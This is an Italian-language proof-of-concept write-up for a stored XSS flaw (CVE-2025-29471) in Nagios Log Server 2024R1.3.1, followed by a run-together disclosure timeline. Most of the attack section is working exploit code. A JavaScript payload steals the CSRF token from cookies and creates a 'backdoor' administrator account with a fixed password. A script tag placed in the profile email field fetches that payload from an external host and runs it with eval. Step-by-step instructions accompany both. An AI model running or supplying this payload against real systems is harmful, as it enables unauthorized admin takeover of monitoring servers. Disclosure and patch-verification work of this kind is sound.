
XSS persistente in Nagios Log Server 2024R1.3.1
2024R1.3.1 e precedentiNagios Log Server 2024R1.3.1 (configurazione predefinita, Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:HSolo per scopi di test e ricerca autorizzati. Non testare né sfruttare questa vulnerabilità su sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.
Una vulnerabilità di XSS memorizzata in Nagios Log Server 2024R1.3.1 consente a un utente con privilegi bassi di iniettare JavaScript dannoso nel campo 'email' del proprio profilo.
Quando un amministratore visualizza i log di audit, il payload viene eseguito, determinando un'escalation dei privilegi tramite la creazione non autorizzata di account amministratore.
1.Ospita il payload xss.js sul tuo server esterno con il seguente contenuto. Github funziona bene.
Aggiorna <target-ip> con l'IP/Hostname del target Nagios Log Server.
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
Accedi a Nagios Log Server come utente standard (non amministratore).
Vai all'endpoint di aggiornamento del profilo:
http://<target-ip>/nagioslogserver/profile/update
Inietta il seguente payload nel campo email. Aggiorna la riga fetch con l'URL in cui è ospitato xss.js.
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
Username: backdoor
Password: Password123!
backdoor con accesso amministratore completo in Nagios Log Server.Nagios Log Server 2024R2Nagios Log Server 2024R2 risolve la vulnerabilità di XSS memorizzata e ha aggiornato NagiosCVE-2025-29471 per questa vulnerabilità di XSS memorizzata, ma i dettagli sono rimasti non pubblicati a causa dell'assenza di un advisory di sicurezza pubblico da parte del fornitore2024R1.3.2) che effettua il backport della correzione della vulnerabilità di XSS memorizzata al ramo 2024R1CVE-2025-29471 è stata pubblicata ufficialmenteQuesto lavoro è stato svolto al di fuori del mio impiego e riflette i miei sforzi personali nella ricerca sulla sicurezza informatica.